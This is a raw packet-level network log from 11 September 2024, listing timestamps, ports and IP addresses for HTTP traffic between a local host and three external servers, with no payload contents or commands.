Sep 11, 2024 16:22:17.668111086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668123007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668155909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668167114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668214083 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668226004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668237925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668248892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668252945 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668261051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668266058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668272972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668286085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668288946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668303013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668322086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668355942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668368101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668379068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668390036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668392897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668401957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668406963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668415070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668423891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668427944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.668448925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668461084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.668479919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.697556973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697582960 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697597027 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697608948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697613001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697632074 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697643042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697649002 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697649002 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697654963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697666883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697678089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697690010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697696924 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697696924 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697702885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697715998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697735071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697735071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697751045 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697772980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697783947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697796106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697808027 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697818995 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697825909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697825909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697830915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697843075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697844028 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697856903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697869062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697879076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.697886944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697886944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697931051 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.697931051 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698535919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698546886 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698559046 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698585987 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698602915 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698849916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698862076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698873997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698885918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698898077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698913097 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698913097 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698941946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698949099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698954105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698966026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.698998928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.698998928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699028969 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699353933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699366093 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699378967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699399948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699419975 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699419975 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699475050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699860096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699872017 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699882984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699893951 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699907064 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699918032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699929953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.699945927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.699945927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700009108 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700315952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700326920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700339079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700387955 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700387955 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700407982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700419903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700432062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700469971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700469971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700598001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700608969 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700649977 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700649977 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700838089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700850964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700897932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700937986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700937986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.700958967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700969934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700980902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.700993061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701001883 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701005936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701019049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701025009 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701028109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701066017 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701066971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701116085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701127052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701141119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701142073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701153040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701160908 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701164007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701179981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701193094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701242924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701255083 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701270103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701281071 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701304913 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701304913 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701328993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701342106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701353073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701364040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701368093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701368093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701383114 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701392889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701406002 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701407909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701407909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701417923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701457024 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701457024 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701487064 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701497078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701508045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701531887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701550007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.701585054 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.701586008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.702824116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.702908993 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.702940941 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.702953100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.702965021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.702977896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.702990055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.703000069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.703000069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.703001976 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.703016043 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.703021049 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.703037024 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.703052044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.705080986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705094099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705106020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705125093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705172062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705275059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705285072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705296040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705318928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705353022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705522060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705532074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705544949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705569983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705594063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705622911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705635071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705646992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705658913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705661058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705676079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705688953 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.705775023 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.705822945 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.709439993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709458113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709470987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709490061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.709508896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.709511042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709522963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709536076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709546089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.709551096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.709573030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.709634066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714102030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714114904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714127064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714150906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714168072 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714179039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714190006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714201927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714214087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714221954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714232922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714236021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714250088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714256048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714282990 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714328051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714339972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714369059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714437008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.714940071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714951992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714963913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714979887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.714983940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.715001106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.715029955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.715306997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715327024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715337992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715353966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.715377092 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.715398073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715409994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715424061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715432882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.715435982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.715457916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.715482950 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.721703053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721714973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721730947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721741915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721749067 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.721755028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721767902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721769094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.721780062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721791983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.721817970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.721883059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721894979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721905947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721918106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721929073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721931934 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.721942902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721955061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.721959114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.721966982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721971035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.721980095 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.721985102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.721992016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722003937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722011089 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.722016096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722028017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722035885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722048044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722060919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722064018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722064018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722071886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722084999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722090006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722096920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722109079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722114086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722121000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722131968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722132921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722145081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722156048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722157001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722167969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722170115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722187042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722192049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722202063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722213030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722215891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722224951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722237110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722239017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722249031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722260952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722264051 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722273111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722284079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722294092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722295046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722306013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722306967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722318888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722325087 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722337008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722348928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722348928 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722358942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722368956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722376108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722388983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722399950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.722402096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.722409964 CEST	80	49735	147.45.44.104	192.168.2.4
